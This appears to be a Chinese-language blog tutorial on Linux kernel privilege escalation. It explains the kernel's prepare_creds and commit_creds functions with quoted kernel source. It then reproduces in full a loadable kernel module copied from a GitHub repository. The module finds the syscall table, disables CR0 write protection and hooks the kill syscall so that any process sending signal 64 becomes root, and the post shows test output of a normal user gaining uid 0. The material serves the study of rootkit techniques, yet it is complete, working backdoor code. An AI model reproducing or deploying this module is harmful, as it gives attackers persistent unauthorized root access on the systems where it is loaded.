Linux 安全 - 内核提权

文章目录

前言

在这篇文章:Linux 安全 - Credentials 介绍了 Task Credentials 相关的知识点,接下来给出一个内核编程提权的例程。

一、简介

内核模块提权主要借助于 prepare_creds 函数和 commit_creds 函数,简单代码示例如下:

c 复制代码
void set_root(void)
{
    struct cred *root;
    root = prepare_creds();

    if (root == NULL)
        return;

    /* Set the credentials to root */

    commit_creds(root);
}
c 复制代码
struct cred {
	kuid_t		uid;		/* real UID of the task */
	kgid_t		gid;		/* real GID of the task */
	kuid_t		suid;		/* saved UID of the task */
	kgid_t		sgid;		/* saved GID of the task */
	kuid_t		euid;		/* effective UID of the task */
	kgid_t		egid;		/* effective GID of the task */
	kuid_t		fsuid;		/* UID for VFS ops */
	kgid_t		fsgid;		/* GID for VFS ops */
}

在set_root函数中把struct cred 以上成员改为0。

c 复制代码
/* Whatever calls this function will have it's creds struct replaced
 * with root's */
void set_root(void)
{
    /* prepare_creds returns the current credentials of the process */
    struct cred *root;
    root = prepare_creds();

    if (root == NULL)
        return;

    /* Run through and set all the various *id's to 0 (root) */
    root->uid.val = root->gid.val = 0;
    root->euid.val = root->egid.val = 0;
    root->suid.val = root->sgid.val = 0;
    root->fsuid.val = root->fsgid.val = 0;

    /* Set the cred struct that we've modified to that of the calling process */
    commit_creds(root);
}

1.1 prepare_creds

c 复制代码
static struct kmem_cache *cred_jar;
c 复制代码
/**
 * prepare_creds - Prepare a new set of credentials for modification
 *
 * Prepare a new set of task credentials for modification.  A task's creds
 * shouldn't generally be modified directly, therefore this function is used to
 * prepare a new copy, which the caller then modifies and then commits by
 * calling commit_creds().
 *
 * Preparation involves making a copy of the objective creds for modification.
 *
 * Returns a pointer to the new creds-to-be if successful, NULL otherwise.
 *
 * Call commit_creds() or abort_creds() to clean up.
 */
struct cred *prepare_creds(void)
{
	struct task_struct *task = current;
	const struct cred *old;
	struct cred *new;

	validate_process_creds();

	new = kmem_cache_alloc(cred_jar, GFP_KERNEL);
	if (!new)
		return NULL;

	kdebug("prepare_creds() alloc %p", new);

	old = task->cred;
	memcpy(new, old, sizeof(struct cred));

	new->non_rcu = 0;
	atomic_set(&new->usage, 1);
	set_cred_subscribers(new, 0);
	get_group_info(new->group_info);
	get_uid(new->user);
	get_user_ns(new->user_ns);

#ifdef CONFIG_KEYS
	key_get(new->session_keyring);
	key_get(new->process_keyring);
	key_get(new->thread_keyring);
	key_get(new->request_key_auth);
#endif

#ifdef CONFIG_SECURITY
	new->security = NULL;
#endif

	if (security_prepare_creds(new, old, GFP_KERNEL_ACCOUNT) < 0)
		goto error;
	validate_creds(new);
	return new;

error:
	abort_creds(new);
	return NULL;
}
EXPORT_SYMBOL(prepare_creds);

prepare_creds() 函数的目的是为修改准备一个新的任务凭证集。它设计为创建现有凭证的副本,以便调用者可以在不直接修改原始凭证的情况下修改副本。这确保了在使用 commit_creds() 提交之前,原始凭证保持不变。

函数源码解析:

(1)内存分配:该函数使用 kmem_cache_alloc() 为新凭证结构(new)分配内存。它利用了 cred_jar 内存缓存,这是一个预分配的凭证内存池。这有助于通过避免频繁的动态内存分配来提高性能。

(2)复制现有凭证:函数使用 memcpy() 将现有凭证(old)的内容复制到新分配的凭证(new)中。这创建了一个初始的凭证副本,可以独立地进行修改。

(3)设置凭证属性:在复制现有凭证之后,函数为新凭证设置各种属性。这些属性包括 non_rcu(设置为 0)、usage(设置为 1,表示对凭证的一个引用)以及与组信息、用户标识符和用户命名空间相关的其他字段。

(4)密钥管理:如果内核配置选项 CONFIG_KEYS 已启用,函数调用 key_get() 来增加凭证结构中与密钥相关字段的引用计数。这确保了与凭证关联的密钥得到正确的计数,避免了过早释放。

(5)安全模块集成:如果内核配置选项 CONFIG_SECURITY 已启用,新凭证的 security 字段将设置为 NULL。该字段通常用于存储与凭证关联的安全模块特定数据的引用。

(6)安全模块钩子:函数调用安全模块提供的 security_prepare_creds() 钩子。这允许安全模块对新凭证执行任何必要的操作或验证。如果安全模块返回小于 0 的值,表示发生错误,函数跳转到 error 标签处处理错误并进行清理。

(7)验证:在准备新凭证之后,函数调用 validate_creds() 来验证新凭证结构的完整性和一致性。

(8)返回值:如果准备成功,函数返回新凭证的指针(new)。如果在准备过程中发生任何错误,函数调用 abort_creds() 释放已分配的内存,并返回 NULL。

通过结合使用 prepare_creds() 和 commit_creds(),Linux 内核提供了一个安全的机制,在修改任务凭证时保持原始凭证不变,直到更改被提交。这是内核安全基础设施的重要组成部分,允许对系统内的访问权限和特权进行细粒度控制。

1.2 commit_creds

c 复制代码
/**
 * commit_creds - Install new credentials upon the current task
 * @new: The credentials to be assigned
 *
 * Install a new set of credentials to the current task, using RCU to replace
 * the old set.  Both the objective and the subjective credentials pointers are
 * updated.  This function may not be called if the subjective credentials are
 * in an overridden state.
 *
 * This function eats the caller's reference to the new credentials.
 *
 * Always returns 0 thus allowing this function to be tail-called at the end
 * of, say, sys_setgid().
 */
int commit_creds(struct cred *new)
{
	struct task_struct *task = current;
	const struct cred *old = task->real_cred;

	kdebug("commit_creds(%p{%d,%d})", new,
	       atomic_read(&new->usage),
	       read_cred_subscribers(new));

	BUG_ON(task->cred != old);
#ifdef CONFIG_DEBUG_CREDENTIALS
	BUG_ON(read_cred_subscribers(old) < 2);
	validate_creds(old);
	validate_creds(new);
#endif
	BUG_ON(atomic_read(&new->usage) < 1);

	get_cred(new); /* we will require a ref for the subj creds too */

	/* dumpability changes */
	if (!uid_eq(old->euid, new->euid) ||
	    !gid_eq(old->egid, new->egid) ||
	    !uid_eq(old->fsuid, new->fsuid) ||
	    !gid_eq(old->fsgid, new->fsgid) ||
	    !cred_cap_issubset(old, new)) {
		if (task->mm)
			set_dumpable(task->mm, suid_dumpable);
		task->pdeath_signal = 0;
		/*
		 * If a task drops privileges and becomes nondumpable,
		 * the dumpability change must become visible before
		 * the credential change; otherwise, a __ptrace_may_access()
		 * racing with this change may be able to attach to a task it
		 * shouldn't be able to attach to (as if the task had dropped
		 * privileges without becoming nondumpable).
		 * Pairs with a read barrier in __ptrace_may_access().
		 */
		smp_wmb();
	}

	/* alter the thread keyring */
	if (!uid_eq(new->fsuid, old->fsuid))
		key_fsuid_changed(new);
	if (!gid_eq(new->fsgid, old->fsgid))
		key_fsgid_changed(new);

	/* do it
	 * RLIMIT_NPROC limits on user->processes have already been checked
	 * in set_user().
	 */
	alter_cred_subscribers(new, 2);
	if (new->user != old->user)
		atomic_inc(&new->user->processes);
	rcu_assign_pointer(task->real_cred, new);
	rcu_assign_pointer(task->cred, new);
	if (new->user != old->user)
		atomic_dec(&old->user->processes);
	alter_cred_subscribers(old, -2);

	/* send notifications */
	if (!uid_eq(new->uid,   old->uid)  ||
	    !uid_eq(new->euid,  old->euid) ||
	    !uid_eq(new->suid,  old->suid) ||
	    !uid_eq(new->fsuid, old->fsuid))
		proc_id_connector(task, PROC_EVENT_UID);

	if (!gid_eq(new->gid,   old->gid)  ||
	    !gid_eq(new->egid,  old->egid) ||
	    !gid_eq(new->sgid,  old->sgid) ||
	    !gid_eq(new->fsgid, old->fsgid))
		proc_id_connector(task, PROC_EVENT_GID);

	/* release the old obj and subj refs both */
	put_cred(old);
	put_cred(old);
	return 0;
}
EXPORT_SYMBOL(commit_creds);

commit_creds() 负责处理进程的凭证安装。它确保凭证的一致性和完整性,更新各种属性,并在必要时发送通知。

二、demo

源代码来自于:https://github.com/chronolator/LKM-SetRootPerms

c 复制代码
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/syscalls.h>
#include <linux/version.h>

#define LICENSE			"GPL"
#define AUTHOR			"Chronolator"
#define DESCRIPTION		"LKM example of setting process to root perms."
#define VERSION			"0.01"

/* Module meta data */
MODULE_LICENSE(LICENSE);
MODULE_AUTHOR(AUTHOR);
MODULE_DESCRIPTION(DESCRIPTION);
MODULE_VERSION(VERSION);

/* Preprocessing Definitions */
#define MODULE_NAME "SetRootPerms"
#if LINUX_VERSION_CODE >= KERNEL_VERSION(5,7,0)
    #define KPROBE_LOOKUP 1
    #include <linux/kprobes.h>
    static struct kprobe kp = {
        .symbol_name = "kallsyms_lookup_name"
    };
#endif

/* Global Variables */
unsigned long cr0;
static unsigned long *__sys_call_table;

/* Function Prototypes*/
unsigned long *get_syscall_table_bf(void);
#if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, 0)
    static inline void write_cr0_forced(unsigned long val);
#endif
static inline void SetProtectedMode(void);
static inline void SetRealMode(void);
void give_root(void);
#if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, 0)
    typedef asmlinkage long (*t_syscall)(const struct pt_regs *regs);
    static t_syscall original_kill;

    //asmlinkage long (*original_kill)(const struct pt_regs *regs); //OLD
    asmlinkage long hacked_kill(const struct pt_regs *regs);
#else
    typedef asmlinkage long (*original_kill_t)(pid_t, int);
    original_kill_t original_kill;

    //asmlinkage long (*original_kill)(int pid, int sig); //OLD
    asmlinkage long hacked_kill(int pid, int sig);
#endif

/* Get syscall table */
unsigned long *get_syscall_table_bf(void) {
    unsigned long *syscall_table;
    #if LINUX_VERSION_CODE > KERNEL_VERSION(4, 4, 0)
        #ifdef KPROBE_LOOKUP
            typedef unsigned long (*kallsyms_lookup_name_t)(const char *name);
            kallsyms_lookup_name_t kallsyms_lookup_name;
            register_kprobe(&kp);
            kallsyms_lookup_name = (kallsyms_lookup_name_t) kp.addr;
            unregister_kprobe(&kp);
        #endif
        syscall_table = (unsigned long*)kallsyms_lookup_name("sys_call_table");
        return syscall_table;
    #else
        unsigned long int i;

        for (i = (unsigned long int)sys_close; i < ULONG_MAX; i += sizeof(void *)) {
            syscall_table = (unsigned long *)i;
        if (syscall_table[__NR_close] == (unsigned long)sys_close)
            return syscall_table;
        }
        return NULL;
    #endif
}

/* Bypass write_cr0() restrictions by writing directly to the cr0 register */
#if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, 0)
static inline void write_cr0_forced(unsigned long val) {
    unsigned long __force_order;
    asm volatile(
        "mov %0, %%cr0"
        : "+r"(val), "+m"(__force_order)
    );
}
#endif

/* Set CPU to protected mode by modifying value stored in cr0 register */
static inline void SetProtectedMode(void) {
#if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, 0)
    write_cr0_forced(cr0);
#else
    write_cr0(cr0);
#endif
}

/* Set CPU to real mode by modifying value stored in cr0 register */
static inline void SetRealMode(void) {
#if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, 0)
    write_cr0_forced(cr0 & ~0x00010000);
#else
    write_cr0(cr0 & ~0x00010000);
#endif
}

/* Misc Functions */
void give_root(void) {
#if LINUX_VERSION_CODE < KERNEL_VERSION(2, 6, 29)
    current->uid = current->gid = 0;
    current->euid = current->egid = 0;
    current->suid = current->sgid = 0;
    current->fsuid = current->fsgid = 0;
#else
    struct cred *newcreds;
    newcreds = prepare_creds();
    if (newcreds == NULL)
        return;
    #if LINUX_VERSION_CODE >= KERNEL_VERSION(3, 5, 0) && defined(CONFIG_UIDGID_STRICT_TYPE_CHECKS) || LINUX_VERSION_CODE >= KERNEL_VERSION(3, 14, 0)
        newcreds->uid.val = newcreds->gid.val = 0;
        newcreds->euid.val = newcreds->egid.val = 0;
        newcreds->suid.val = newcreds->sgid.val = 0;
        newcreds->fsuid.val = newcreds->fsgid.val = 0;
    #else
        newcreds->uid = newcreds->gid = 0;
        newcreds->euid = newcreds->egid = 0;
        newcreds->suid = newcreds->sgid = 0;
        newcreds->fsuid = newcreds->fsgid = 0;
    #endif
    commit_creds(newcreds);
#endif
}

/* Hacked Syscalls */
#if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, 0)
asmlinkage long hacked_kill(const struct pt_regs *regs) {
    printk(KERN_WARNING "%s module: Called syscall kill using new pt_regs", MODULE_NAME);
    
    pid_t pid = regs->di;
    int sig = regs->si;

    if(sig == 64) {
        printk(KERN_INFO "%s module: Giving root\n", MODULE_NAME);
        give_root();        

        return 0;
    }
    
    return (*original_kill)(regs);
}
#else
asmlinkage long hacked_kill(pid_t pid, int sig) {
    printk(KERN_WARNING "%s module: Called syscall kill", MODULE_NAME);

    //struct task_struct *task;
    if(sig == 64) {
        printk(KERN_INFO "%s module: Giving root using old asmlinkage\n", MODULE_NAME);
        give_root(); 

        return 0;
    }
    
    return (*original_kill)(pid, sig);
}
#endif

/* Init */
static int __init run_init(void) {
    printk(KERN_INFO "%s module: Initializing module\n", MODULE_NAME);
    // Get syscall table 
    __sys_call_table = get_syscall_table_bf();
    if (!__sys_call_table)
        return -1;

    // Get the value in the cr0 register
    cr0 = read_cr0();

    // Set the actual syscalls to the "original" linked versions (save the actual in another variable)
    #if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, 0)
        original_kill = (t_syscall)__sys_call_table[__NR_kill];
        //original_kill = (original_kill)__sys_call_table[__NR_kill]; //OLD
    #else
	original_kill = (original_kill_t)__sys_call_table[__NR_kill];
        //original_kill = (void*)__sys_call_table[__NR_kill]; //OLD
    #endif

    // Set the syscalls to your modified versions
    SetRealMode();
    __sys_call_table[__NR_kill] = (unsigned long)hacked_kill;
    SetProtectedMode();

    return 0;
}

/* Exit */
static void __exit run_exit(void) {
    printk(KERN_INFO "%s module: Exiting module\n", MODULE_NAME);

    // Set the syscalls back to the "original" linked versions
    SetRealMode();
    __sys_call_table[__NR_kill] = (unsigned long)original_kill;
    SetProtectedMode();

    return;
}

module_init(run_init);
module_exit(run_exit);

测试结果:

c 复制代码
$ id
uid=1000(yl) gid=1000(yl) 
$ kill -64 0
$ id
uid=0(root) gid=0(root) 

参考资料

https://github.com/chronolator/LKM-SetRootPerms
https://xcellerator.github.io/posts/linux_rootkits_03/

相关推荐
watermelonoops1 小时前
Deepin和Windows传文件(Xftp,WinSCP)
linux·ssh·deepin·winscp·xftp
疯狂飙车的蜗牛2 小时前
从零玩转CanMV-K230(4)-小核Linux驱动开发参考
linux·运维·驱动开发
远游客07134 小时前
centos stream 8下载安装遇到的坑
linux·服务器·centos
马甲是掉不了一点的<.<4 小时前
本地电脑使用命令行上传文件至远程服务器
linux·scp·cmd·远程文件上传
jingyu飞鸟4 小时前
centos-stream9系统安装docker
linux·docker·centos
XH华5 小时前
初识C语言之二维数组(下)
c语言·算法
超爱吃士力架5 小时前
邀请逻辑
java·linux·后端
cominglately7 小时前
centos单机部署seata
linux·运维·centos
魏 无羡7 小时前
linux CentOS系统上卸载docker
linux·kubernetes·centos
CircleMouse7 小时前
Centos7, 使用yum工具,出现 Could not resolve host: mirrorlist.centos.org
linux·运维·服务器·centos